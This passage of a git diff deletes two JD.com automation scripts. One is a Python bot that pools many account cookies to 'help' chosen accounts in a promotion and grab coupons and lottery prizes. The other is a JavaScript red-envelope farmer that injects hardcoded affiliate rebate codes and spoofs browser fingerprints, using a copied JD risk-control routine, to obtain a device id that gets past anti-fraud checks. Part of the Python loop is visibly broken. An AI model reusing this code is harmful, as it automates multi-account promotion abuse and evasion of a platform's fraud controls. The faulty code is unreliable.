"application/x-www-form-urlencoded", - "x-requested-with": "com.jingdong.app.mall", - "sec-fetch-site": "same-site", - "referer": "https://welfare.m.jd.com/", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q\u003d0.9,en-US;q\u003d0.8,en;q\u003d0.7", - "cookie": cookie - } - body = json.dumps(body) - t = str(int(time.time() * 1000)) - data = { - 'appid': 'anniversary-celebra', - 'functionId': 'jd_interaction_prod', - 'body': body, - 't': t, - 'loginType': 2 - } - res = requests.post(url=url, headers=headers, data=data).json() - return res - - -def get_share5(cookie): - body = {"type": "99", "apiMapping": "/api/supportTask/getShareId"} - res = res_post(cookie, body) - # print(res) - if '成功' in res['msg']: - return res['data'] - - -def get_share50(cookie): - body = {"type": "100", "apiMapping": "/api/supportTask/getShareId"} - res = res_post(cookie, body) - # print(res) - - if '成功' in res['msg']: - return res['data'] - - -def getprize1(cookie,nickname): - body = {"apiMapping": "/api/prize/getCoupon"} - res = res_post(cookie, body) - # print(res) - if res['code'] == 200: - print('------【账号:' + nickname + '】------' + res['data']['name']) - else: - print('------【账号:' + nickname + '】------优惠券领过了') - - -def getprize2(cookie,nickname): - body = {"apiMapping": "/api/prize/doLottery"} - res = res_post(cookie, body) - # print(res) - if res['code'] == 5011: - print('------【账号:' + nickname + '】------未中奖e卡') - else: - print('------【账号:' + nickname + '】------不确定,手动确认') - - -def help(mycookie, nickname, cookiesList, nickNameList): - shareId5 = get_share5(mycookie) - if shareId5 != None: - # print('获取5助力码成功:', shareId5) - # print('--------------------------------------开始5个助力-------------') - body1 = {"shareId": shareId5, "apiMapping": "/api/supportTask/doSupport"} - for i in range(len(cookiesList)): - res = res_post(cookiesList[i], body1) - # print(res) - try: - if res['code'] == 200 and res['data']['status'] == 7: - print(nickNameList[i] + '助力' + nickname + ':' + '5助力成功') - elif res['code'] == 200 and res['data']['status'] == 4: - print(nickNameList[i]+'助力'+nickname+':'+'5个助力完成啦----') - getprize1(mycookie,nickname) - getprize2(mycookie,nickname) - break - elif res['code'] == 200 and res['data']['status'] == 3: - print(nickNameList[i]+'助力'+nickname+':'+'5已经助力过了') - except: - pass - else: - print('【账号:' + nickname + '】请先手动执行下浏览任务') - - shareId50 = get_share50(mycookie) - if shareId50 != None: - # print('获取50助力码成功:', shareId50) - # print('-------------------------------开始50个助力-------------') - body2 = {"shareId": shareId50, "apiMapping": "/api/supportTask/doSupport"} - for ck in mycookie: - res = res_post(ck, body2) - # print(res) - try: - if res['code'] == 200 and res['data']['status'] == 7: - print(nickNameList[i] + '助力' + nickname + ':' + '50助力成功') - elif res['code'] == 200 and res['data']['status'] == 4: - print(nickNameList[i] + '助力' + nickname + ':' + '50个助力完成啦----') - getprize1(mycookie, nickname) - getprize2(mycookie, nickname) - break - elif res['code'] == 200 and res['data']['status'] == 3: - print(nickNameList[i] + '助力' + nickname + ':' + '50已经助力过了') - except: - pass - else: - print('【账号' + nickname + '】请先手动执行下浏览任务') - - -def use_thread(jd15_cookies, nicks, cookiesList, nickNameList): - threads = [] - for i in range(len(jd15_cookies)): - threads.append( - threading.Thread(target=help, args=(jd15_cookies[i], nicks[i], cookiesList, nickNameList)) - ) - for t in threads: - t.start() - for t in threads: - t.join() - - -def start(): - printT("############{}##########".format(script_name)) - jd15_pins = getPinEnvs() - get_jd_cookie = getJDCookie() - cookiesList, pinNameList, nickNameList = get_jd_cookie.getcookies() - jd15_cookies = [] - nicks = [] - for ckname in jd15_pins: - try: - ckNum = pinNameList.index(ckname) - jd15_cookies.append(cookiesList[ckNum]) - nicks.append(nickNameList[ckNum]) - except Exception as e: - try: - ckNum = pinNameList.index(unquote(ckname)) - jd15_cookies.append(cookiesList[ckNum]) - nicks.append(nickNameList[ckNum]) - except: - print(f"请检查被助力账号【{ckname}】名称是否正确?ck是否存在?提示:助力名字可填pt_pin的值、也可以填账号名。") - continue - if len(jd15_cookies) == 0: - exit(4) - use_thread(jd15_cookies, nicks, cookiesList, nickNameList) - - -if __name__ == '__main__': - start() diff --git a/backUp/jd_HongBao.js b/backUp/jd_HongBao.js deleted file mode 100644 index 4b29912..0000000 --- a/backUp/jd_HongBao.js +++ /dev/null @@ -1,2745 +0,0 @@ -/* -双十一无门槛红包 -cron 0,30 0,12,20,22 * * * jd_HongBao.js -添加环境变量FLCODE 如需自己吃返利,请填写该变量(https://u.jd.com/后面的英文) -* */ -const $ = new Env('抢双11无门槛红包'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -let cookie = ''; -$.shareCode = ''; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - //await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main() - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}); - -async function main() { - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.UA = `jdapp;iPhone;10.2.2;14.3;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone12,1;addressid/4199175193;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` - $.max = false; - $.hotFlag = false; - const flCodeArr = ['yI2pG7N', '3IVMKm8', '3I9UVcJ', '3IXbyRK', '3wVdViu']; - const flCode = $.isNode() ? (process.env.FLCODE ? process.env.FLCODE : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]) : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]; - $.code = flCode; - for (let i = 0; i < 10 && !$.max; i++) { - $.newCookie = ''; - $.url1 = ''; - $.url2 = ''; - $.eid = ''; - await getInfo1(); - if (!$.url1) { - console.log(`${userName},初始化1失败,可能黑号`); - $.hotFlag = true; - break; - } - await getInfo2(); - if (!$.url2) { - console.log(`${userName},初始化2失败,可能黑号`); - $.hotFlag = true; - break; - } - $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq'; - let arr = await getBody($.UA, $.url2); - await getEid(arr) - console.log(`$.actId:` + $.actId) - if ($.eid) { - if (i === 0 && $.shareCode) { - await getCoupons($.shareCode); - } else { - await getCoupons(""); - } - } - await $.wait(5000) - } - if ($.index === 1 && !$.hotFlag) { - await $.wait(2000) - await mainInfo() - } -} - -function mainInfo() { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${$.code}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${$.newCookie}`, - "User-Agent": $.UA, - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - } else { - let res = $.toObj(data, data); - if (typeof res == 'object') { - if (res.code == 0 && res.data && res.data.shareUrl) { - $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' - console.log('助力码:'+$.shareCode) - } - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -async function getCoupons(shareCode) { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${$.code}%22,%22unionShareId%22:%22${shareCode}%22,%22type%22:1,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${$.newCookie}`, - 'user-agent': $.UA - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data, data); - if (typeof res == 'object') { - if (res.msg) { - console.log('异常:' + res.msg) - } - if (res.msg.indexOf('上限') !== -1 || res.msg.indexOf('未登录') !== -1) { - $.max = true; - } - if ($.shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined') { - console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) - } - if (res.code == 0 && res.data) { - if (res.data.type == 1) { - console.log(`获得红包:${res.data.discount}元`) - } else if (res.data.type == 3) { - console.log(`获得优惠券:️满${res.data.quota}减${res.data.discount}`) - } else if (res.data.type == 6) { - console.log(`获得打折券:满${res.data.quota}打${res.data.discount * 10}折`) - } else { - console.log(`获得未知${res.data.quota || ''} ${res.data.discount}`) - console.log(data) - } - } - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function getInfo2() { - return new Promise(resolve => { - const options = { - url: $.url1, - followRedirect: false, - headers: { - 'Cookie': `${cookie} ${$.newCookie}`, - 'user-agent': $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' - let setcookie = '' - if (setcookies) { - if (typeof setcookies != 'object') { - setcookie = setcookies.split(',') - } else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' - } - } - } - $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' - $.url2 = decodeURIComponent($.url2) - $.url2 = $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -async function getInfo1(cookie) { - return new Promise(resolve => { - const options = { - url: `https://u.jd.com/${$.code}?s=${$.shareCode}`, - followRedirect: false, - headers: { - 'Cookie': cookie, - 'user-agent': $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || ''; - let setcookie = '' - if (setcookies) { - if (typeof setcookies != 'object') { - setcookie = setcookies.split(',') - } else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' - } - } - } - $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -const navigator = { - userAgent: require('./USER_AGENTS').USER_AGENT, - plugins: {length: 0}, - language: "zh-CN", -}; -const screen = { - availHeight: 812, - availWidth: 375, - colorDepth: 24, - height: 812, - width: 375, - pixelDepth: 24, - -} -const window = {} -const document = { - location: { - "ancestorOrigins": {}, - "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - "origin": "https://prodev.m.jd.com", - "protocol": "https:", - "host": "prodev.m.jd.com", - "hostname": "prodev.m.jd.com", - "port": "", - "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - "search": "", - "hash": "" - } -}; -var start_time = (new Date).getTime(), - _jdfp_canvas_md5 = "", - _jdfp_webgl_md5 = "", - _fingerprint_step = 1, - _JdEid = "", - _eidFlag = !1, - risk_jd_local_fingerprint = "", - _jd_e_joint_; - -function t(a) { - if (null == a || void 0 == a || "" == a) return "NA"; - if (null == a || void 0 == a || "" == a) var b = ""; - else { - b = []; - for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 - } - a = 8 * a.length; - b[a >> 5] |= 128 << a % 32; - b[(a + 64 >>> 9 << 4) + 14] = a; - a = 1732584193; - c = -271733879; - for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { - var z = a, - C = c, - D = l, - B = h; - a = v(a, c, l, h, b[q + 0], 7, -680876936); - h = v(h, a, c, l, b[q + 1], 12, -389564586); - l = v(l, h, a, c, b[q + 2], 17, 606105819); - c = v(c, l, h, a, b[q + 3], 22, -1044525330); - a = v(a, c, l, h, b[q + 4], 7, -176418897); - h = v(h, a, c, l, b[q + 5], 12, 1200080426); - l = v(l, h, a, c, b[q + 6], 17, -1473231341); - c = v(c, l, h, a, b[q + 7], 22, -45705983); - a = v(a, c, l, h, b[q + 8], 7, 1770035416); - h = v(h, a, c, l, b[q + 9], 12, -1958414417); - l = v(l, h, a, c, b[q + 10], 17, -42063); - c = v(c, l, h, a, b[q + 11], 22, -1990404162); - a = v(a, c, l, h, b[q + 12], 7, 1804603682); - h = v(h, a, c, l, b[q + 13], 12, -40341101); - l = v(l, h, a, c, b[q + 14], 17, -1502002290); - c = v(c, l, h, a, b[q + 15], 22, 1236535329); - a = x(a, c, l, h, b[q + 1], 5, -165796510); - h = x(h, a, c, l, b[q + 6], 9, -1069501632); - l = x(l, h, a, c, b[q + 11], 14, 643717713); - c = x(c, l, h, a, b[q + 0], 20, -373897302); - a = x(a, c, l, h, b[q + 5], 5, -701558691); - h = x(h, a, c, l, b[q + 10], 9, 38016083); - l = x(l, h, a, c, b[q + 15], 14, -660478335); - c = x(c, l, h, a, b[q + 4], 20, -405537848); - a = x(a, c, l, h, b[q + 9], 5, 568446438); - h = x(h, a, c, l, b[q + 14], 9, -1019803690); - l = x(l, h, a, c, b[q + 3], 14, -187363961); - c = x(c, l, h, a, b[q + 8], 20, 1163531501); - a = x(a, c, l, h, b[q + 13], 5, -1444681467); - h = x(h, a, c, l, b[q + 2], 9, -51403784); - l = x(l, h, a, c, b[q + 7], 14, 1735328473); - c = x(c, l, h, a, b[q + 12], 20, -1926607734); - a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); - h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); - l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); - c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); - a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); - h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); - l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); - c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); - a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); - h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); - l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); - c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); - a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); - h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); - l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); - c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); - a = w(a, c, l, h, b[q + 0], 6, -198630844); - h = w(h, a, c, l, b[q + 7], 10, 1126891415); - l = w(l, h, a, c, b[q + 14], 15, -1416354905); - c = w(c, l, h, a, b[q + 5], 21, -57434055); - a = w(a, c, l, h, b[q + 12], 6, 1700485571); - h = w(h, a, c, l, b[q + 3], 10, -1894986606); - l = w(l, h, a, c, b[q + 10], 15, -1051523); - c = w(c, l, h, a, b[q + 1], 21, -2054922799); - a = w(a, c, l, h, b[q + 8], 6, 1873313359); - h = w(h, a, c, l, b[q + 15], 10, -30611744); - l = w(l, h, a, c, b[q + 6], 15, -1560198380); - c = w(c, l, h, a, b[q + 13], 21, 1309151649); - a = w(a, c, l, h, b[q + 4], 6, -145523070); - h = w(h, a, c, l, b[q + 11], 10, -1120210379); - l = w(l, h, a, c, b[q + 2], 15, 718787259); - c = w(c, l, h, a, b[q + 9], 21, -343485551); - a = A(a, z); - c = A(c, C); - l = A(l, D); - h = A(h, B) - } - b = [a, c, l, h]; - a = ""; - for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + - "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); - return a -} - -function u(a, b, c, l, h, q) { - a = A(A(b, a), A(l, q)); - return A(a << h | a >>> 32 - h, c) -} - -function v(a, b, c, l, h, q, z) { - return u(b & c | ~b & l, a, b, h, q, z) -} - -function x(a, b, c, l, h, q, z) { - return u(b & l | c & ~l, a, b, h, q, z) -} - -function w(a, b, c, l, h, q, z) { - return u(c ^ (b | ~l), a, b, h, q, z) -} - -function A(a, b) { - var c = (a & 65535) + (b & 65535); - return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 -} - -_fingerprint_step = 2; -var y = "", - n = navigator.userAgent.toLowerCase(); -n.indexOf("jdapp") && (n = n.substring(0, 90)); -var e = navigator.language, - f = n; --1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( - "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || -f.indexOf("windows mobile"); -var r = "NA", - k = "NA"; -try { - -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != - f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( - r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = - "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( - "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f - .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = - "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), - -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = - "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( - "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != - f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), - -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), - -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( - "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = - "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = - "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( - "SymbianOS/") + 10, 3)) -} catch (a) { -} -_fingerprint_step = 3; -var g = "NA", - m = "NA"; -try { - -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( - 0, m.indexOf(";")))); - -1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( - "firefox/") + 8)); - -1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, - 4)); - -1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - -1 != f.indexOf( - "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( - 0, m.indexOf(" ")))); - -1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( - "navigator/") + 10)); - -1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( - "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf( - "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); - if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; - if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - -1 != - f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - -1 != f.indexOf("360se") && (g = - "360\u6d4f\u89c8\u5668"); - -1 != f.indexOf("the world") && (g = - "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - -1 != f.indexOf("maxthon") && (g = - "\u9068\u6e38\u6d4f\u89c8\u5668") -} catch (a) { -} - -class JdJrTdRiskFinger { - f = { - options: function () { - return {} - }, - nativeForEach: Array.prototype.forEach, - nativeMap: Array.prototype.map, - extend: function (a, b) { - if (null == a) return b; - for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); - return b - }, - getData: function () { - return y - }, - get: function (a) { - var b = 1 * m, - c = []; - "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + - e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); - c.push(g); - c.push(m); - c.push(r); - c.push(k); - y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + - m + "'"; - c = this.colorDepthKey(c); - c = this.screenResolutionKey(c); - c = this.timezoneOffsetKey(c); - c = this.sessionStorageKey(c); - c = this.localStorageKey(c); - c = this.indexedDbKey(c); - c = this.addBehaviorKey(c); - c = this.openDatabaseKey(c); - c = this.cpuClassKey(c); - c = this.platformKey(c); - c = this.hardwareConcurrencyKey(c); - c = this.doNotTrackKey(c); - c = this.pluginsKey(c); - c = this.canvasKey(c); - c = this.webglKey(c); - b = this.x64hash128(c.join("~~~"), 31); - return a(b) - }, - userAgentKey: function (a) { - a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( - navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); - return a - }, - replaceAll: function (a, b, c) { - for (; 0 <= a.indexOf(b);) a = a.replace(b, c); - return a - }, - browserRedirect: function (a) { - var b = a.toLowerCase(); - a = "ipad" == b.match(/ipad/i); - var c = "iphone os" == b.match(/iphone os/i), - l = "midp" == b.match(/midp/i), - h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), - q = "ucweb" == b.match(/ucweb/i), - z = "android" == b.match(/android/i), - C = "windows ce" == b.match(/windows ce/i); - b = "windows mobile" == b.match(/windows mobile/i); - y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" - }, - languageKey: function (a) { - '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( - navigator.language, " ", "_") + "'"); - return a - }, - colorDepthKey: function (a) { - '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + - screen.colorDepth + "'"); - return a - }, - screenResolutionKey: function (a) { - if (!this.options.excludeScreenResolution) { - var b = this.getScreenResolution(); - "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( - "x") + "'") - } - return a - }, - getScreenResolution: function () { - return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, - screen.width] : [screen.width, screen.height] : [screen.height, screen.width] - }, - timezoneOffsetKey: function (a) { - this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + - ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); - return a - }, - sessionStorageKey: function (a) { - !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), - y += ",'sessionStorage':true"); - return a - }, - localStorageKey: function (a) { - !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += - ",'localStorage':true"); - return a - }, - indexedDbKey: function (a) { - !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += - ",'indexedDb':true"); - return a - }, - addBehaviorKey: function (a) { - document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( - "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; - return a - }, - openDatabaseKey: function (a) { - !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += - ",'openDatabase':true") : y += ",'openDatabase':false"; - return a - }, - cpuClassKey: function (a) { - this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this - .getNavigatorCpuClass() + "'"); - return a - }, - platformKey: function (a) { - this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + - this.getNavigatorPlatform() + "'"); - return a - }, - hardwareConcurrencyKey: function (a) { - var b = this.getHardwareConcurrency(); - a.push(b); - y = y + ",'ccn':'" + b + "'"; - return a - }, - doNotTrackKey: function (a) { - this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + - "'"); - return a - }, - canvasKey: function (a) { - if (!this.options.excludeCanvas && this.isCanvasSupported()) { - var b = this.getCanvasFp(); - a.push(b); - _jdfp_canvas_md5 = t(b); - y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" - } - return a - }, - webglKey: function (a) { - if (!this.options.excludeWebGL && this.isCanvasSupported()) { - var b = this.getWebglFp(); - _jdfp_webgl_md5 = t(b); - a.push(b); - y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" - } - return a - }, - pluginsKey: function (a) { - this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + - "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + - "'"); - return a - }, - getRegularPluginsString: function () { - return this.map(navigator.plugins, function (a) { - var b = this.map(a, function (c) { - return [c.type, c.suffixes].join("~") - }).join(","); - return [a.name, a.description, b].join("::") - }, this).join(";") - }, - getIEPluginsString: function () { - return window.ActiveXObject ? this.map( - "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" - .split(";"), - function (a) { - try { - return new ActiveXObject(a), a - } catch (b) { - return null - } - }).join(";") : "" - }, - hasSessionStorage: function () { - try { - return !!window.sessionStorage - } catch (a) { - return !0 - } - }, - hasLocalStorage: function () { - 